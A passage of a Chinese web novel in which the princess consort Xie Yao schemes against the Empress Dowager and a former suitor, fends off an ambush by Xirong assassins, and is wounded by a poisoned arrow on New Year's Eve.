皇上说着,回想起年幼时,沈家被冠上谋逆罪名,他的母后被他的父皇赐死,他从高高在上的皇后嫡子,变成让先帝厌弃的沈家外孙。 如果不是皇姐李相宜,做为大燕第一美人,如明珠璀璨耀眼,让人还记得世上有他这个五皇子,他怕是早就被斩草除根了。 皇上认真地说:“此次封皇姐为镇国长公主,改健妇营的营号,追封母后,朕就是想让所有人知道,燕国的江山,是朕李家的,轮不到江太后和江家来指手画脚。” 他又道:“吏部的权柄,皇姐就随便拿着,想做什么做什么,不必客气。” 长公主没再说话,目光望向缓缓离开的靖北王府马车。 谢窈推动靖北王的轮椅上车,她身姿如玉,眼神明亮,让长公主又想起那日在成佛寺看见的她。 皇上顺着她的视线看去,笑道:“靖北王妃虽然绝色,也确实是很顺眼,可朕却不知她有什么特别,值得皇姐和如晦都如此看重。” 长公主浓墨似的凤眸,更深沉了几分。 她收回视线,凤眸阖上,掩下眼底一抹泪光,低声说:“若本宫的女儿还活着,也有谢窈这么大了。” 皇上瞳孔微缩,一段尘封的记忆涌上心头。 那年,他还小。 皇姐李相宜,与还是镇远侯世子的顾昭棠情投意合,两人已经到了谈婚论嫁的地步。 可就在顾家下聘前几日,先帝为了与雍国议和,下旨让皇姐嫁给雍国皇帝。 顾世子在宫门外跪了三天三夜,直到皇姐出面,亲自对他说出冷言冷语,老镇远侯进宫,打断了自己家儿子一条腿,把他带了回去。 顾家只是个没落侯府,没一个月,先帝就把顾世子丢去北境当吉祥物了。 可没想到的是,皇姐竟然怀有身孕! 先帝一边延迟雍国的和亲,一边将皇姐送去成佛寺。 后来,李璟只知道,李相宜生下了一个死婴。 皇姐被送去雍国,这一别,就是十几年。 十几年来,或许是皇姐并不受宠,或许是雍国老皇帝忌惮她的身份,她没有再生下一儿半女。 知道这件事的人,如今超不过一掌之数。 皇上登基后,也不敢让顾昭棠知道他和皇姐,曾有过一个孩子。 否则,大将军非得疯了,率军去雍国抢人不可…… “是朕不好,当年护不住皇姐。”皇上愧疚地说。 “都过去了。” 长公主语气恢复平静。 一闭上眼,她还是能回到自己生产那一夜。 如果她的女儿平安健康地长大……长公主不想细想,任凭心痛如刀绞,面上只是微微蹙了蹙眉。 此刻,王府马车并没有直接回府,而是应王妃要求,驶向澄园。 王爷靠在轮椅上,看着王妃若有所思的样子,唇角勾起一抹浅笑:“刚当了校尉,王妃就开始盘算如何领兵打仗了?” 谢窈:“可惜啊,羲和营的人都在北境,我这个羲和营校尉,是个光杆校尉。” 萧熠之暗示:“你看本王,像不像光杆王爷?” 谢窈瞬间双眼放光。 “不像,不像,王爷手下能人无数,还有那么多王府亲卫。”她回过神,也不绕弯子了。 “三日后,我想借小白侍卫,和几名王府亲卫中,靖北军的老卒一用。” 萧熠之:“你开口,本王自然是允的。” 谢窈主动解释了一句:“小白侍卫和靖北军,都是跟西戎对战过的,对西戎人很熟悉。” 萧熠之明白了:“对付西戎人,那本王更无意见。” 快到澄园,跟在外面的白蔹喊道:“王爷,前面有人。” 谢窈掀开车帘,见苏怀恩和忍冬,各自骑在马上,早已等候在路边。 她微微一笑,翻身下车。 王爷则仿佛看不见王妃这叛经离道的行为一般,悠悠地说:“哪有人了,继续,本王要去拜见岳母大人。” 白蔹嘴角抽了抽,欲言又止,被白术拉住,跟车离开了。 苏怀恩望着王府马车远去,半晌,默默竖起大拇指:“少将军真是……御夫有术。” 在老苏面前,谢窈流露出恣肆张扬之气,拍了拍他魁梧的肩膀:“不值一提,说正事。” “少将军让忍冬姑娘来找末将,有何吩咐?”苏怀恩正色起来,躬身询问。 谢窈道:“三日后正午,安平侯会在云鹤楼外遇见刺客,你身为京畿营统领,就以演武之名提前到附近巡逻,等刺客出现后,护住安平侯,平息混乱。” 苏怀恩瞪大眼睛,没有问谢窈怎么知道安平侯会遇刺,而是脱口而出:“末将何必救他,让他死了,岂不是更省事?” 谢窈:“……” “且不说安平侯这人,行事荒唐,死有余辜,”苏怀恩挠了挠头,硬朗的面容呈现出一种憨憨的精明,“他是皇上唯一的弟弟,先帝仅剩的皇子,万一皇上始终无子,他就是皇太弟,他死了,说不定大将军——” 他话说到一半,闭上了嘴,却难掩眼中的狂傲。 谢窈猜出了他的心思。 二十万北境镇远边军,忠于燕国是忠于燕国,但也磨刀霍霍,时刻准备着给大将军黄袍加身。 连大将军麾下已经调回京好几年的苏怀恩,都是这个想法,咳咳,也难怪先帝和皇上都忌惮大将军。 谢窈却摇头:“这场刺杀,安平侯本就不会有事。” 刺客,是太后联手的西戎人。 目的是吓唬安平侯,顺便除掉江丛嫣。 前世陆慎言能替安平侯挡箭,也是误打误撞。 谢窈并没有跟苏怀恩解释太多。 苏怀恩隐隐猜出什么,不再追问。 “行,少将军发话,末将绝对照办!” “还有一件事。” 谢窈从袖中,掏出一封写好的信,递给他,眼神溢出戾气:“把这封信,交给陆慎言。” 第185章 娶了媳妇忘了娘?除夕到了 “陆慎言?” 苏怀恩接过信,听到这个名字,想了一会儿,才想起来是谁。 那不是之前在云鹤楼,被少将军打得满地找牙的穷酸书生吗。 提起他,苏怀恩眼中满是鄙夷:“听说此人已经被皇上下旨,终身不得参加科举,朝堂之上,亦永不录用。” 谢窈眼底闪过寒意:“朝堂上永不录用,只是让他不能入仕,他仍旧可以挣扎。” “我要的不是他一时落魄,而是让他彻底无法翻身。” 依陆慎言的野心,就算不能入仕,他也可以投靠他人,做权贵身边的幕僚走狗,想尽办法往上爬,继续兴风作浪。 替安平侯挡箭,是他前世平步青云的起点。 这一世,她要让他提前知道刺杀的事。 让他如前世一样替安平侯挡箭,事后,却一无所获! 不,也不是一无所获…… 苏怀恩将信收好,眼睛转了转:“末将明白了,一定会将事情办好。” “还有一事。”谢窈话锋一转,语气柔和了几分。 “你去给大将军递个消息,请他帮忙,追查靖北王的母妃靖宁夫人的下落。” 苏怀恩:“靖宁夫人?她不是……” “两年前,靖宁夫人在岐江一战中被西戎人掳走,我猜测,她很有可能自己逃走了,而西戎人是绕路回去的,靖宁夫人如果还活着,或许流落到了北境。”谢窈解释道。 苏怀恩选择相信她的判断:“末将立即去给大将军传信。” 说完正事,他打量着少将军,语气多了调侃。 “少将军,大将军在您大婚时,给末将写信问了你和靖北王的事,咳咳,他说少将军回京后,一次没找过他,是成亲了就忘了师父,这次知道你替靖北王找母妃,估计更是得感慨少将军娶了媳妇忘了娘。” 谢窈拔刀:“……谁娶了媳妇,谁是我娘?你这歇后语谁教的!” 苏怀恩嘿嘿一笑,翻身上马,去完成她交代的事去了。 谢窈望着他的背影,垂下眸,心想,自己确实很久没有联络师父了。 前世她主动放弃了边军的一切,自以为是洒脱,却没想过师父还有边军的袍泽们,是什么心情。 她定了定神,打算回头再写一封信给师父问安。 谢窈和忍冬同骑一马,第一次骑马去往澄园。 路上,她看见一片红果密林,上面的红果无人采摘,积着落雪。 她去采了一筐,很快到了澄园。 正厅内,坐在轮椅上的靖北王,正拿着一个绣绷,低头绣着什么。 “岳母大人请看,这里要反勾起来。”他说道。 许素素在一旁认真观摩:“原来蝴蝶是这么绣的,多谢熠之告知。” 王爷微微一笑,身上的冰霜消融:“不难,本王前几日还给王妃绣了一枚香囊,只是王妃衣着喜简,并未佩戴。” 谢窈刚踏进正厅,迎面听见这句话,莫名听出一丝怨念。 “我戴,我回头就戴!”她连忙喊道。 王爷勾起唇角,桃花眸越发深邃。 谢窈盯着他的面容看了一会儿,才回过神,耳边忽然想起苏怀恩的话:慨少将军娶了媳妇忘了娘。 谁说的,她没忘娘啊。 三日后,除夕。 清晨的京城飘着细雪,靖北王府的马车,再一次走着熟悉的道路。 马车内,是刚给萧老夫人请过安的王爷王妃,两人决定去澄园见许素素。 马车外,白术换了一身新衣服,身后是一队王府亲卫。 平时同样护卫在王爷身边的白蔹,今日却不知去向。 马车行至东街,谢窈撩起窗帘,目光落到云鹤楼上。 酒楼门口挂着红灯笼,几个伙计正在扫雪,因为是除夕,大家都忙着团圆,里面的客人不算多。 一切看似寻常,谢窈却能感受到一股隐藏着暗处的敌意。 白术主动开口:“王妃,刚才云鹤楼的掌柜来报,说二楼的包间里,来了几个西戎人,不过,安平侯和侯夫人还没有出现。” 此前,谢窈已经将自己的计划告诉了王爷。 “时辰还早,”谢窈收回视线,语气透出两分惋惜,“可惜,我们要去澄园,见不到这场好戏了。” 她倒是真想亲眼看看,陆慎言冲上前给安平侯挡箭时,被一箭射中的模样。 如果这一世出现意外,刺客的箭歪了,也不要紧。 白蔹会帮忙补箭。 王府马车到了澄园,许素素穿着一身新做的宝蓝色衣裙,身披兔毛领大氅,站在门口等了许久。 见到他们,她弯眸开口:“阿窈,熠之,快进来吧。” 白术铺好木板,谢窈推着王爷下车,忽然道:“诶,王爷给我的香囊掉到车里了,我回去取一下。” 很快,她再次从马车出来。 推着萧熠之走到门口的时候,谢窈愣了愣。 母亲不知道什么时候,把澄园大门的门槛,也拆掉了。 “往左一点,多了,往右,往右,不对,再左回去。” 谢宴正站在正厅门外,指挥着桑若蒲苇贴春联。 见到谢窈,他立即上前,双眸明亮无比:“姐姐!” 谢窈挑了挑眉:“你怎么来了?” 谢宴:“待在谢家有什么意思,还是母亲这里好,姐姐也在。” 谢窈却和许素素对视一眼,母女俩都猜到,谢宴八成是偷偷跑过来的。 果不其然,一家人坐下吃午饭的时候,伯府派来两个下人来接他回去。 “小伯爷,今日是除夕,按规矩,伯府要到祠堂敬香祭祖,您是伯爷唯一的嫡子,不能不回去啊。”下人苦口婆心地说。 谢宴翻了个白眼:“祠堂都烧没了,敬什么香。” 其中一个下人,是谢宴新任书童,对他忠心耿耿。 他为难地说:“可您要是不在,伯爷就要把孙姨娘请出来,说不定还想给她肚子里那个上宗牒。” 谢宴眼神一冷。 他母亲是文昌伯夫人,他和姐姐是嫡子嫡女,母亲可以不屑,但别人不能装不存在。 “那便回去吧,我陪父亲,好好敬香。”谢宴唇角勾起顽劣的笑,迅速往嘴里塞了两个饺子,站起身,“只是不能陪姐姐,和母亲,还有王爷一起过除夕了。” 谢窈道:“今日宫中设有除夕夜宴,母亲是二品诰命夫人,理应赴宴,我们也只是跟母亲一起吃顿午饭,傍晚一起进宫。” 谢宴:“我听说,王爷自从……王爷从不参加宫宴。” 萧熠之淡淡地说:“今年是岳母第一次入宫,也是本王娶了王妃的第一年,岳母与王妃进宫,本王焉能不陪。” 谢宴没什么话说,跟着伯府的人离开。 时辰差不多了,谢窈推着萧熠之,许素素也换了进宫的诰命夫人装扮,白术等人给他们撑着伞,走到大门口,王府的马车已经备好。 这时,一个身穿青衫的女子,撑着伞,来到澄园求见。 谢窈认出来,女子是长公主身边的侍女怀夏。 怀夏屈膝行礼:“见过王爷王妃,许夫人。” “我家殿下今日也要去宫中赴宴,邀王妃和许夫人同乘车驾,一同进宫。” 正说着,长公主的车驾已经到了澄园外,双喜小公公也向三人行礼。 长公主掀开车帘,露出苍白美丽的面孔,望着谢窈,眼底带着笑意:“上来吧。” 谢窈和许素素恭敬不如从命,坐上了长公主的车。 王爷目送着自己王妃上去,没有阻拦,让白术推他坐回自己车内。 靖北王的马车,和寻常马车内的构造不一样,两侧是软垫坐椅,后方空着,可以容纳轮椅。 他如往常一样坐在轮椅上,余光一瞥,却见手边的边几上,多了两本书。 萧熠之拿起书,发现下面还压着一张字条。 是谢窈的字,娟秀而不失风骨,上面写着:“我与母亲闲聊,王爷若无聊,可以看书解闷。” 他想起谢窈下车后,去而复返,想必就是把书放到了边几上。 萧熠之心里的一丝失落烟消云散,勾起唇角,翻开一本《燕史》,忽然瞳孔一震。 封面是《燕史》,内容是…… 附带春宫图的时新话本子。 王妃,是不是在暗示自己什么。 王爷深吸一口气,仔细钻研起来。 同一时刻。 陆慎言正缩在东街的角落里,死死地盯着云鹤楼。 第186章 安平侯遇刺,渣男挡箭? “真的会有刺客,来行刺安平侯吗……” 陆慎言喃喃自语,哈了一口白气,搓了搓冰凉的双手。 他仰起头,看向昏暗的天色,冷得直打哆嗦。 自从谢窈大婚之日,他被靖北王的人套麻袋痛打之后,他又是一个月下不来床。 夜里,陆慎言总是做梦。 梦里的谢窈会温好热茶,递到自己面前,会笑着听他谈诗论政,跟他抱怨母亲刁难…… 醒来之后,谢窈却是那个把他逼上绝路的人。 他知道那是梦,但他还是不甘心。 陆慎言想起三日前,那封忽然出现在自己家里,已经被他烧毁的信。 他不是不怀疑信的来源,怕有人给他设圈套,可眼下的处境,容不得他犹豫。 他已经跌到了谷底,再坏也坏不到哪去。 若真能救了安平侯,就算不能科举,他也能做侯爷的幕僚,攀上太后的关系。 陆慎言攥紧拳头,定了定神,目光死死地盯着云鹤楼。 他要让谢窈刮目相看,甚至,让她后悔当初的选择! 这时,一辆马车停下。 身着锦衣玉袍的安平侯,亲自扶侯夫人下马车,在几名护卫撑伞的保护下,走进了云鹤楼! 陆慎言瞳仁骤缩,心瞬间狂跳。 侯爷真的来了,那封信……是真的! 江丛嫣今日穿得格外漂亮,粉蓝色绣牡丹曲裾裙,外罩着白狐毛披风,并没有往日安平侯夫人的端庄,反倒灵动活泼,如桃李年华的女子。 安平侯主动为她拉开椅背,在她对面坐下。 “夫君,我记得你我大婚那日,你给我买过隔壁那家点心铺子的蝴蝶酥,特别好吃,你现在,再去给我买一盒好不好?”江丛嫣声音温和,笑着说。 安平侯大喜过望,今日的夫人,竟然对自己笑了。 原本这时候,他应该带着江丛嫣,一起去宫里赴宴的。 但江丛嫣说不想看见母后和江家人,只想跟他两个,去外面云鹤楼,像寻常夫妻那样,一起过个简单的除夕。 他这才领着江丛嫣,来到云鹤楼。 既然是像寻常夫妻,他也没有包雅间,而是坐在靠窗的一处闲桌。 “好,本侯这就去给你买,去去就回。” 安平侯脸上露出讨好的笑,为了表现自己的重视,他亲自到隔壁铺子买蝴蝶酥。 “将你这里的蝴蝶酥全包好,有多少,本侯都卖了!” 安平侯直接抛出一锭金,让铺子伙计双眼放光,手中的动作飞快。 不多时,他身后两个护卫各自抱着三五盒蝴蝶酥,他也拎着两盒,冒着雪往回走。 “李钰,拿命来!”刚走两步,一声暴喝声响起。 骤然间,二三十个蒙面黑衣人从四面八方冲出来,手里的弯刀无比刺眼。 安平侯大惊,没等他反应过来,黑衣人已到眼前。 一个路过的百姓来不及躲闪,被一刀砍刀在地上,鲜血瞬间将路两旁的积雪染红。 两个护卫连忙丢下点心,拔剑护住安平侯:“保护侯爷,有刺客,侯爷快退!” 黑衣人人多势众,一个护卫挡住正面的刀,霎时间被捅穿了后心,鲜血喷了安平侯一身。 另一个护卫则被砍断了一条腿,“扑通”地跪倒在地,还没爬起来,就被黑衣人补了一刀,没了气息。 “一群废物,光天化日,竟敢行刺本伯!” 安平侯被激出骨子里的凶性,捡起地上的剑,一剑刺死最近的黑衣人。 他一边抵挡黑衣人,一边心急如焚地往云鹤楼赶。 这些刺客武功不高,他还能挡上一会儿。 “夫人,我来救你!来人,保护本侯!” 陆慎言看呆了,他没想到刺客这么狠,还这么多。 可一想到谢窈那冰冷的眼神,他还是咬了咬牙,从角落里跑出来:“侯爷,我来帮你!” 陆慎言就是个不会武功的书生,身上还旧伤未愈,刚走两步,就被脚下的雪滑倒,摔了个狗啃泥。 安平侯听见他的声音,扫了一眼,却没看到什么人。 陆慎言连忙爬起来,却见一支冷箭从云鹤楼二楼射来,直奔安平侯的后心! “侯爷小心!” 陆慎言大喊一声,脑子一热,猛地扑上前。 他用尽全力,一把推开安平侯。 “嗖——” 这支箭,狠狠地刺进他的下腹。 “啊啊啊啊啊!” 陆慎言发出凄厉的惨叫,栽倒在地。 撕裂般的疼痛从下身传来,陆慎言低头,只见鲜血瞬间浸透了自己的衣袍。 他脑子里“嗡”地一声。 这是……这是男人最要命的地方! 陆慎言发不出声音,意识渐渐模糊。 昏迷前,他发现安平侯看都没看自己一眼,从他身边路过。 “……” 陆慎言眼前一黑,彻底昏死过去。 安平侯哪管什么替自己挡箭的人,他冲进云鹤楼,却也愣住了。 楼内,几个黑衣蒙面人正举刀乱砍,不算多的客人都在往外跑,而他留在江丛嫣身边的两个护卫,也已经惨死。 远远的,他看见了让他目眦欲裂的一幕。 一个刺客拎起江丛嫣的衣领,举起刀,一刀,捅进她的胸口! “不要!”安平侯嘶吼。 “噗嗤——” 江丛嫣闷哼一声,鲜血似绽放在胸前的红梅。 她艰难地抬起头,正好看见安平侯冲进来,眼中满是不敢相信。 “夫人!” 安平侯歇斯底里地大吼,手里的蝴蝶酥“啪”掉落地上,纸包散开,里面蝴蝶形状的糕点,破碎染血。 江丛嫣唇角溢出血,声音微不可闻:“迟来的关心,有什么用。” 安平侯要冲上去,却被几名刺客团团围住。 就在原本的刺客打算再给江丛嫣补一刀,彻底了断她性命的时候,两个同样手持弯刀的蒙面人跃上前,动作利落地抓起奄奄一息的江丛嫣,声音低沉:“走。” “你们是谁?” 原本刺客皱起眉,眼神满是疑惑。 他们接到的命令是杀了安平侯夫人,怎么忽然冒出两个人要把她带走? “自己人。”蒙面人用西戎人的语言说道。 刺客听到这句西戎语,不再阻拦。 江丛嫣忽然明白了什么,她闭上眼睛,唇角扬起一抹笑容。 如果她能活下去的话…… 从此以后,世上再没有燕国的安平侯夫人,江家嫡女,安和县主。 两个蒙面人架起江丛嫣,眨眼睛就消失了。 “都住手!京畿营在此!” 江丛嫣刚被带走,一阵马蹄声忽然传来。 正在附近演武的虎贲将军苏怀恩听到动静,策马赶来,身后跟着一队京畿营将士。 “撤!” 刺客们看到有人来了,转头就跑,反应慢的,被苏怀恩一剑刺倒。 “保护侯爷,留活口!” 说着,他下了马,看着地上横七竖八的尸体,目光落到还在昏迷的陆慎言身上。 “诶,这里怎么有个人……嘶……被射中下半身了。” 苏将军惊呼。 虽然是惊呼,但苏将军并没有很着急的样子。 他第一时间来到安平侯身前,打退几个刺客之后,巡街的官差也赶来了,司法参军惶恐地单膝跪地:“卑职来迟,还望侯爷赎罪!” 安平侯已经一动不动了好一会儿,只怔怔地盯着江丛嫣被带走的地方,那里只剩下一滩暗红的血。 “嫣儿……” 他喃喃着,像听不见周围的话。 苏怀恩在司法参军疑惑的目光中,忽然远离了安平侯几步,招呼人去找大夫,把路过被误伤的百姓拉走,顺便将陆慎言抬去救治。 而原本想留活口的两三个刺客,见逃不掉了,反应的很快,齐齐服毒自尽。 这时,安平侯抬起头,一双墨似的眼眸泛着血色,眼底癫狂而阴沉。 “去追,去追啊!” 他拾起一把刀,挥砍向最近的司法参军,嘶吼咆哮:“你们这群废物,给本侯把嫣儿追回来,活要见人……嫣儿一定还活着!” 司法参军躲闪不及,被砍伤了右臂。 “卑职明白,卑职已经通报京兆尹,派人去追了。”他咬了咬牙,捂着伤口退下。 他这才明白,为何苏将军突然后退。 另一边,谢窈和许素素与长公主同乘在车驾内。 雪下得大了一些,双喜道:“前面的路都是雪,唯恐马失前蹄,长公主稍侯,奴才让人将雪先清扫一番。” 第187章 长公主遇刺,谢窈受伤? 长公主的马车停下,跟在后面的王府马车也随之慢下来。 “许夫人,谢窈小时候,也是这样的性子吗?” 车内,长公主目光落在谢窈身上,语气透着几分不易察觉的好奇,还有隐藏极深的羡慕。 觉岸和尚说过,谢窈小时候,就意外救了他和顾昭棠性命了。 若她的女儿还活着,只要有谢窈一半健康,她也愿意折寿十年。 “阿窈从小就顽皮,志向远大,一直想做个女将军。”许素素点头。 谢窈:母亲还是很给自己面子的,没把她小时候天天在棠柳巷跟同龄人打架的事,也抖露出来。 她掀开车帘,双喜正和两名长公主侍卫一起清扫着前面道路上的积雪,远处是前几日见到的红果林,积雪积压在树枝上。 看见这片树林,谢窈内心一动,习惯性代入行军打仗的时候。 这里林深树密,遮挡视线,是伏击的绝佳之地。 前世太后勾结西戎人,刺杀安平侯,只为嫁祸给皇上,滋生安平侯的野心。 可前世,因为自己未去成佛寺,长公主也没有将为羲和太后立庙的事公布于众。 因而这一年除夕,长公主并未回京。 且不说西戎人野心勃勃,不甘心只做太后的棋子,就是太后,也不愿长公主成为皇上的助力…… 一阵风吹过,谢窈面色微凝,翻身跃下马车:“有埋伏!” 话音刚落,密林内就射出无数利箭,无差别笼罩着长公主和后面王爷的两辆马车! “护驾!” 谢窈疾呼一声,霎时间抽出长刀,挡在马车面前。 身后的王府亲卫反应迅速,长公主的护卫们却有些手忙脚乱,不到两个呼吸,就发出被射中的惨叫。 谢窈利落地挥刀,斩断两支射向马车的箭:“母亲,殿下,待在车里不要出来!” 许素素脸色发白,却还是道:“阿窈,你小心!” 长公主维持着镇定,立即吩咐外面的侍卫:“本宫的所有护卫,都听谢窈指挥!” “不要慌,列阵。” 谢窈举刀抵挡,大声下令。 长公主的护卫有三十来人,也算训练有素,听到她的话,连忙结成军阵。 她又让忍冬等丫鬟上了车驾,防止受伤。 片刻后,箭雨停歇,谢窈却并没有放松警惕。 王府那边只带了二十人的亲卫,但因为有白术在,应对很及时,只有几人受了伤。 忽然,拉车的马匹被乱箭射伤,鼻息粗重地晃动马蹄,发起狂来。 双喜忍冬急忙护着长公主和许素素下了车,与此同时,一个个持刀蒙面的黑衣人,从密林冲出,足足上百人! 谢窈挥刀砍倒两名冲上前的刺客,顺势挑开他的面罩,棕发,面容粗犷,是西戎人! 刺客的人虽然多,她应对起来却得心应手。 她已经很久,没有经历过这样酣畅淋漓的战斗了。 谢窈一刀划过一个刺客的脖颈,侧身避过喷溅的鲜血,反手又一刀,捅进身后偷袭她刺客的心口,动作干脆利落。 萧熠之坐在马车上,掀开车帘,用短剑抵挡偶尔冲到他面前的刺客,目光追随着谢窈。 这些刺客是冲着长公主去的,王府这边人不算多。 谢窈又是两刀结果一人,提起刀,幽幽地望着周围的刺客。 鲜血,一滴一滴从银亮的刀身滴落,她素净清妩的面容,也溅上暗红血色。 十来个刺客将她围起来,竟然没一个敢靠近。 “来啊。”谢窈冷冷地笑。 刺客们同时冲向她。 谢窈一跃而起,脚尖轻点拉车的马匹,再飞身至车驾顶上,长刀横扫,直接将所有人压退! 被护卫们护着到一旁的许素素和长公主,看到这一幕,心都提起来,见谢窈反杀了那些刺客,又松了一口气。 这时,长公主身后,一个护卫忽然转身,拔剑向她刺去! “殿下!”许素素发现了护卫不对劲,惊呼一声,急忙将长公主拉到自己这边。 护卫面露凶光,剑没有停顿,眼看着就要将她和长公主刺个对穿。 但许素素这个举动,给谢窈创造了机会。 她此刻站在车顶,来不及上前,一把将手中长刀掷了过去! “铛”地一声,长刀撞飞了护卫的剑,他整个人也被一股巨大的力气掀翻,虎口渗出血,竟然握不住剑了。 长公主惊魂未定地睁大双眸,望着谢窈,又看向许素素,呼吸哽咽。 这孩子,救了自己的命! “啊!”护卫想再动手,被赶来的白术一刀落下,将他肩胛钉到一颗粗壮的树干上。 “阿窈,小心——” 谢窈松了一口气,却听见萧熠之和许素素同时的声音。 见到最能大的她丢掉了刀,林子里还埋伏的几个弓箭手,同时拉弓搭箭,瞄准了她! 谢窈调转身子,双手揪起一个还想砍她的刺客,硬生生将刺客拎起来,在空中抓住刺客一只手一掰,把他的刀送到他自己胸口,扛起这具尸体,当盾牌,挡住这轮箭雨。 只是,侧后方传来破风声,一支冷箭射来,谢窈来不及抵挡。 “噗!” 箭入皮肉。 “嘶……” 谢窈闷哼一声,鲜血瞬间染红衣袖。 萧熠之瞳孔微缩,一剑刺死一名刺客,握着剑的手剧烈颤抖着。 他从未有过一刻,像刚才那样生出想站起来的念头。 忽然,一阵酸涩的疼痛,从萧熠之双腿传来。 谢窈丢掉尸体,再捡起刺客手中的弯刀,当即斩断箭杆,从车驾翻下来,主动喊道:“放心,我没事!” 算算时辰,老苏的人马就要到了。 地面,震动起来。 沉闷的马蹄声传来,让谢窈勾了勾唇角。 “少将军,末将来迟了!” 远远的,苏怀恩骑着马冲在最前面,响雷般地向她喊。 刺客们见势不妙,几个领头之人对视了一眼,不知谁喊了一声“撤”,这群人顷刻间便收拢了队伍,也不管地上的尸体,折身钻进密林里。 苏怀恩带来的是京畿营几百骑兵,对战刺客是一边倒的碾压。 厮杀声很快平息,雪地里一片狼藉,满是尸体和血迹。 谢窈靠在马车旁,垂着手。 忍冬给她取出箭头,紧急处理着左臂的伤口。 谢窈全程闷声不吭,苍白的脸色和微蹙的眉头,让忍冬的眼眶红了,动作越发轻缓。 “这点小伤,简单包扎就行,比这再重的伤我又不是没受过。”谢窈对她笑了笑。 忍冬:“王妃还跟奴婢说笑。” 谢窈:“这不是有你在嘛。” 苏怀恩让副将继续去追击,自己上前:“少……王妃,这群刺客和云鹤楼的刺客是一伙人,都一心求死,没有活口。” 白术拎着那个被他弄晕钉在地上,卧底在长公主身边的护卫丢过来:“活口。” 谢窈点了点头:“带回去,严加看管。” 尸体里有很多西戎人,足以说明问题。 只不过,就算查出刺客是西戎人,也没有证据能证明,幕后主使是太后…… 但没关系,既然老苏出现在这里,证明安平侯已经在云鹤楼遇刺。 侯夫人江丛嫣“死”了,她的死,就是最大的证据。 苏怀恩又挠了挠头,忽然压低声音:“少将军交代的陆慎言,啧,真是巧了,那家伙给安平侯挡箭,伤到了关键部位。” “是吗。”谢窈勾了勾唇角。 前世,陆慎言癫狂扭曲的咆哮,还声声在耳。 如今,他又一次断子绝孙了。 谢窈还没细想,见白术推着萧熠之朝自己走来。 王爷俊美的面容布满寒霜,忽然有些模糊。 “王妃!” “阿窈!” 谢窈听见他和忍冬的呼喊声,眼前一黑,晕了过去。 不知过了多久,她是被疼醒的。 映入眼帘的是扶光院的卧房,床榻边围着人。 “王妃醒了!” 忍冬的声音传来:“多亏管家解了这箭上的毒药。” 许素素红着眼眶,上前握住了她没受伤的右手:“阿窈,你终于醒了,疼不疼?要吃什么,娘亲自给你做。” “母亲,我没事,就是小伤。” 忍冬递上温水:“王妃,那箭上有毒,您昏迷了一整夜,夫人……和王爷也守了您一整夜。” 谢窈仰头喝水,看见萧熠之坐在轮椅上盯着自己,薄唇紧抿,脸色阴沉,眼底布满血丝。 像是别人欠了他八百两银子。 “王爷辛苦了。”谢窈闷声道,朝他眨了眨眼睛。 萧熠之和那双清澈的眼眸对视,浑身森冷的气息,忽然软化下去。 他别开头,声音沙哑:“王妃的伤,确定没事吗。” 老管家道:“多亏忍冬姑娘伤口处理得及时,王妃流血不多,而且,这箭头上的毒是西戎最常抹在箭头上的一种,王府一直备有解药,如今余毒已清,只需好好养伤即可。” 萧家世代都和西戎打交道,最了解西戎。 何况,前些日子,西戎使团要进京前,王府大肆抓捕西戎探子,更是找到了王爷腿伤所中之毒的解药。 只不过,王爷中毒太深,那解药远远不够。 配制更多解药,需要几种极其难得的药材。 “王妃交代的事,属下办妥了。” 白蔹听到谢窈醒了,也走进来。 第188章 该收网了,陆慎言醒来? 许素素给谢窈掖了掖被子,道:“我在王府后厨炖了汤,这就去盛给你。” 随即,她和王府老管家一起离开。 王爷没动,见自家王妃完全没有要休息的样子,他欲言又止,最后看向忍冬:“扶王妃坐起来。” 他知道,谢窈的性子,强行说什么让她休息,她不会听。 与其这样,还不如他就拖着两条废腿陪她熬,半死不活盯着她算了,看她心不心疼自己这个残疾人。 以前的王爷:唉,我可是残疾人。 现在的王爷:诶,我可是残疾人! “江丛嫣怎么样了?” 谢窈被忍冬扶起来,倚靠着床头询问。 “属下按照您的吩咐,和一名王府亲卫一起假扮西戎刺客,还故意让安平侯听到句西戎语,把江小姐救了下来。” 云鹤楼里,从刺客手里带走江丛嫣的蒙面人,正是听从谢窈计划的白蔹。 白蔹:“江小姐伤的比您重,但没中毒,属下已经把她安置在王府京郊的一处宅院里,一个时辰前传来消息,说是人醒了。” “既然醒了,那就让她……准备好一具自己的尸体。”谢窈放下心来,再次吩咐。 江丛嫣,是太后与西戎人勾结最大的证据,她会好好留下她,并且在关键时刻,发挥作用。 假死,是最好的办法。 让江丛嫣自己准备自己的尸体,想必她不会拒绝。 “属下明白。”白蔹领命离开。 棠心进来通报:“王妃,长公主殿下一直在正厅等着,听到您醒了,想见您。” “请殿下进来。” 长公主很快走进来,她还是昨日的打扮,显然也是跟着谢窈一起来的王府。 白术退了下去,顺便推走不太愿意离开的萧熠之。 “昨日是除夕,今天是元日,本宫却让你受了这么重的伤。” 长公主目光落到谢窈的伤臂上,语气虽然平淡,却带着真切的愧疚。 谢窈的脸色还苍白着,从容地说:“我是羲和营校尉,殿下是羲和营统领,保护您,是我的分内之事。” 长公主摇了摇头,想到谢窈中箭那一刻,那心脏狠狠被摄住的感觉,让她心有余悸。 “谢窈,你对本宫有救命之恩,许氏亦是如此,你想要什么赏赐,说出来,本宫必然满足。” 这一次,长公主不仅是将谢窈当成合作对象,或者下属,更是把她当成了恩人和在乎的后辈。 谢窈没要说自己要什么,而是话锋一转:“殿下怎么没进宫?” 长公主:“昨晚的除夕夜宴取消了,除了本宫和靖北王,安平侯在云鹤楼也遇刺,安平侯夫人江丛嫣,至今生死不明。” 说起刺杀一事,她语气沉了沉:“刺客的尸体御鹰司检查过,半数是西戎人,本宫身边那名反水的护卫交代,他是李钧的人,要为死去的五王报仇,所以策划了这场刺杀。” 李钧,就是五年前五王之乱之首的睿王名讳。 “这么说,刺客是睿王余孽?”谢窈反问。 果然,太后还是把事情推到了死人身上。 她悠悠地说:“那可真是巧,五王之乱时,殿下还在雍国,传闻安平侯更是睿王极为疼爱的幼弟,睿王余孽费这么大的力气,刺杀你们干嘛?” 长公主眼神微凝:“睿王是靖北王带兵满门抄斩的,可昨日的刺客,分明是冲着本宫来的,由此看来,的确事有蹊跷。” 谢窈提醒:“殿下,有些事不需要看过程,只需看结果。” 长公主内心一动,顺着她的话思忖片刻,冷声道:“本宫若出事,最高兴的莫过于太后,你是说,刺杀的幕后主使是太后?可太后为何要杀安平侯?” 谢窈和她对视,两人的眼睛很像,都清冽而锐利。 “安平侯,死了吗?” 长公主怔住。 是啊,安平侯虽然被刺杀了,但本人一点事都没有! 